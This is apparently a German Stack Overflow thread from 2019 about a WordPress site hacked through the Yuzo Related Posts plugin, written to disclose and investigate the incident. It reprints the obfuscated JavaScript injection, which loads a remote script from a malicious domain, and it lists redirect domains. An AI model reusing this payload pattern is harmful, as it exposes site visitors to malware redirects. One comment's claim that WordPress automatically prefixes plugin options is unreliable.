Vor ungefähr einer Stunde begann eine von mir verwaltete WordPress-Seite mit der Umleitung auf Anzeigen-/Malware-Seiten.
Ich habe die Quelle der Umleitung gefunden, möchte anderen Betroffenen helfen und benötige Hilfe bei der Suche nach der tatsächlichen Schwachstelle und/oder einer Lösung.
Die Umleitung erfolgt nach dem Laden der Site, also suchte ich nach einem JavaScript-Snippet in der Seite und zweifelhaften Umleitungen im Network Analyzer. Offensichtlich böswillige Weiterleitungen waren: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk und eine Website, die versucht, meinen aktuellen Standort abzugreifen (konnte diese jedoch nicht mehr als einmal reproduzieren).
Ich war in der Lage, die Weiterleitungen zu verfolgen, von denen sie kamen https://hellofromhony.org/counter die über ein Code-Snippet eingebettet ist.
Das Snippet wurde in wp_options in einen Eintrag mit dem Schlüssel „yuzo_related_post_options“ eingebettet – genauer gesagt eingebettet in die JSON-Option „yuzo_related_post_css_and_style“ des Option_value. Diese Option wird ohne Bereinigung wiederholt.
Diese Option ist Teil des Yuzo Related Posts Plugins, das vor etwa einer Woche eingestellt wurde:
https://wordpress.org/plugins/yuzo-related-post/
Das Entfernen dieses Plugins stoppte die Umleitung sofort, ich konnte keine anderen Spuren von Manipulationen an der Seite finden.
Das Snippet, das sich im option_value befand:
</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>
Während das Entfernen des Plugins einen Quickfix darstellt, möchte ich tiefer eintauchen, um sicherzugehen, dass kein Zugriff auf die Datenbank, das Backend und den Webspace bestand.
Während der Untersuchung und des Schreibens dieses Beitrags sind zwei Threads auf dem wordpress.org-Board erschienen: wordpress.org/support/plugin/yuzo-related-post
– fealXX
10. April 2019 um 10:44 Uhr
Darüber hat auch schon am 30. März jemand geschrieben. pluginvulnerabilities.com/2019/03/30/…
– Hang Guan
10. April 2019 um 11:29 Uhr
Gehe ich richtig in der Annahme an, dass nur die wp-Optionen in Bezug auf das Plugin selbst manipuliert werden können? Ich versuche, die maximale Reichweite der Schwachstelle zu finden.
– Hendrik
10. April 2019 um 12:53 Uhr
@Hendrik ja, das ist richtig. WordPress stellt den Optionen automatisch die Plugin-ID voran, sodass bei diesem einfachen Angriff nur die Plugin-eigenen Optionen geändert werden können
– fealXX
10. April 2019 um 13:51 Uhr
Entschuldigung, Stack Overflow ist nicht geeignet für Helfen Sie mir, Schwachstellen in diesem zufälligen Plugin zu finden Fragen. Wir können spezifische, fokussierte Fragen mit begrenztem Umfang beantworten.
– Martijn Pieters
♦
24. April 2019 um 16:29 Uhr